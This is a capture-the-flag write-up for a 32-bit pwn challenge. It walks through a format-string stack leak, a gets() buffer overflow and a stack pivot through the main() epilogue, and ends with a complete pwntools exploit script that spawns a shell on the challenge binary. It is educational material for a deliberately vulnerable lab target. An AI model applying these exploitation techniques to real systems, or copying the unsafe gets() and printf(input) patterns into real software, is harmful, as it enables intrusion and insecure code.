oldschool

Category: pwn
Files: main main.c Dockerfile
Description: learn to pwn with this easy challenge!

Inspecting the binary with checksec:

❯ checksec main
    Arch:       i386-32-little
    RELRO:        Partial RELRO
    Stack:        No canary found
    NX:           NX enabled
    PIE:          No PIE (0x8048000)
    Stripped:     No

The binary is a 32-bit ELF with NX enabled but No canary and No PIE. This means we have fixed addresses but cannot execute shellcode on the stack.

Program Analysis

The program is straightforward. It contains a win() function that spawns a shell if the correct password is provided.

1
void win(char *password)
2
{
3
    if (strcmp(password, "hwhwhwhwhwhw") == 0)
4
    {
5
        system("/bin/sh");
6
    }
7
}

In main(), we see two opportunities for exploitation:

1
12: int main()
2
13: {
3
14:     setvbuf(stdout, NULL, _IONBF, 0);
4
15:     setvbuf(stdin, NULL, _IONBF, 0);
5
16:
6
17:     char input[15];
7
18:     char password[15];
8
19:
9
20:     printf("simple pwn... no trickery needed...\n");
10
21:     gets(input);
11
22:     printf(input);
12
23:     printf("\nsay yer magic words: ");
13
24:     gets(password);
14
25:     printf(password);
15
...
16
37:     return 0;
17
38: }

Format String Vulnerability: Both printf(input) (line 22) and printf(password) (line 25) are vulnerable because the input is passed directly as a format string.
Buffer Overflow: Both gets(input) (line 21) and gets(password) (line 24) are vulnerable because gets() does not check the size of the input. While the program checks if input == "hehehehehehehe" and password == "huhuhuhuhuhu" at the end of main(), we can bypass this logic entirely by redirecting execution.

The binary was compiled in a way that the main() function performs a stack restoration from the ecx register. This is often seen in 32-bit binaries compiled with certain stack alignment optimizations.

Looking at the disassembly of the main() function’s epilogue:

1
pop    ecx
2
pop    ebx
3
pop    ebp
4
lea    esp, [ecx - 4]
5
ret

If we can control the value of ecx before the lea esp, [ecx - 4] instruction, we can move the stack pointer esp to a location of our choice. Since the ret instruction pops the next instruction pointer from the stack, this gives us full control over execution.

Exploitation

Before we can pivot the stack, we need a reliable stack address. Since we have a format string vulnerability in the first printf(input), we can fuzz the stack to find a leak.

I used the following fuzz.py script to inspect the stack values:

1
from pwn import *
2

3
elf = context.binary = ELF('./main', checksec=False)
4

5
for i in range(20):
6
    try:
7
        io = process(level='error')
8
        io.sendlineafter(b'needed...\n','%{}$p'.format(i).encode())
9
        result = io.recvline().decode()
10
        if result:
11
            print(f"{i}: {result.strip()}")
12
    except EOFError:
13
        pass

Running the fuzzer gives us the following output:

...
10: 0xf7fc1400
11: (nil)
12: 0xffffd3a0
13: 0xf7faae34
...

The leak at index 12 represents a stack address that we can use as a base for our calculations.

We need to point ecx (and subsequently esp) back to our input buffer where our payload lives. By debugging the binary, we can determine the exact distance between the leaked address at index 12 and the start of our payload.

In this case, the stack_target is exactly 48 bytes below the leaked address. We subtract this offset so that when main() performs the stack pivot, esp lands exactly on our forged stack.

1
# 1. Leak stack address
2
io.sendlineafter(b'...\n', b'%12$p')
3
leak = int(io.recvline().strip(), 16)
4
stack_target = leak - 48 # Offset to point back specifically to P+14

Once our payload is sent to gets(password), the stack frame for main() is corrupted. Here is a visual representation of the memory layout just before the ret instruction in the function epilogue:

pwndbg> tele 0xffffd3b0-16
00:0000│-028 0xffffd3a0 ◂— 0x41410000
01:0004│-024 0xffffd3a4 ◂— 0x41414141 ('AAAA')
02:0008│-020 0xffffd3a8 ◂— 0x41414141 ('AAAA')
03:000c│-01c 0xffffd3ac —▸ 0x80491b6 (win) ◂— push ebp
04:0010│ ecx 0xffffd3b0 ◂— 0
05:0014│-014 0xffffd3b4 —▸ 0x804a008 ◂— 'hwhwhwhwhwhw'
06:0018│-010 0xffffd3b8 —▸ 0xffffd3b0 ◂— 0
07:001c│-00c 0xffffd3bc —▸ 0xffffd3b0 ◂— 0

The magic happens when the function epilogue executes. By pointing ecx to an address 4 bytes after our &win pointer, the lea esp, [ecx-4] instruction perfectly aligns esp with our target address. When ret is executed, it pops &win and launches the shell.

Next, we craft the full payload:

1
win = elf.sym["win"]
2
str_addr = next(elf.search(b'hwhwhwhwhwhw'))
3

4
payload = flat([
5
    b'A'*10,         # Fill buffer
6
    p32(win),        # win() address (pivoted EIP)
7
    p32(0),          # return address (dummy)
8
    p32(str_addr),   # win() argument
9
    p32(stack_target)*3,    # overwrite ECX, EBX, EBP
10
])
11

12
io.sendlineafter(b'magic words: ', payload)

When main() returns, the stack pivots to our buffer, and the win() function is called with the required password argument, spawning our shell.

Exploit Script

1
from pwn import *
2

3
def start(argv=[], *a, **kw):
4
    if args.GDB:
5
        return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
6
    elif args.REMOTE:
7
        return remote(sys.argv[1], sys.argv[2], *a, **kw)
8
    else:
9
        return process([exe] + argv, *a, **kw)
10

11
gdbscript = '''
12
init-pwndbg
13
set follow-fork-mode parent
14
set follow-exec-mode same
15
b *0x0804925d
16
b *0x080492b1
17
b *0x080492cc
18
continue
19
'''.format(**locals())
20

21
exe = './main'
22
elf = context.binary = ELF(exe, checksec=False)
23
context.terminal = ['tmux', 'splitw', '-h']
24
context.log_level = 'debug'
25

26
def logleak(name, val):  log.success(name+' = %#x' % val)
27
def loglibc(): log.success('libc addr = %#x' % libc.address)
28
def logbase(): log.success('pie addr = %#x' % elf.address)
29
def sa(delim,data): return io.sendafter(delim,data)
30
def sla(delim,line): return io.sendlineafter(delim,line)
31
def sl(line): return io.sendline(line)
32

33

34
# ===========================================================
35
#                    EXPLOIT GOES HERE
36
# ===========================================================
37

38
# Lib-C library, can use pwninit/patchelf to patch binary
39
# libc = ELF("./libc.so.6")
40
# ld = ELF("./ld-2.27.so")
41

42

43
io = start()
44

45
win = elf.sym["win"]
46
str = next(elf.search(b'hwhwhwhwhwhw'))
47

48
sla(b'...\n',b'%12$p')
49
leak = int(io.recvline().strip(),16)
50
stack = leak - 48
51

52
logleak('stack leak',leak)
53
logleak('payload address',stack)
54
logleak('win',win)
55

56
payload = flat([
57
    b'A'*10,
58
    p32(win),
59
    p32(0),
60
    p32(str),
61
    p32(stack)*3,
62
])
63

64
sl(payload)
65

66
io.interactive()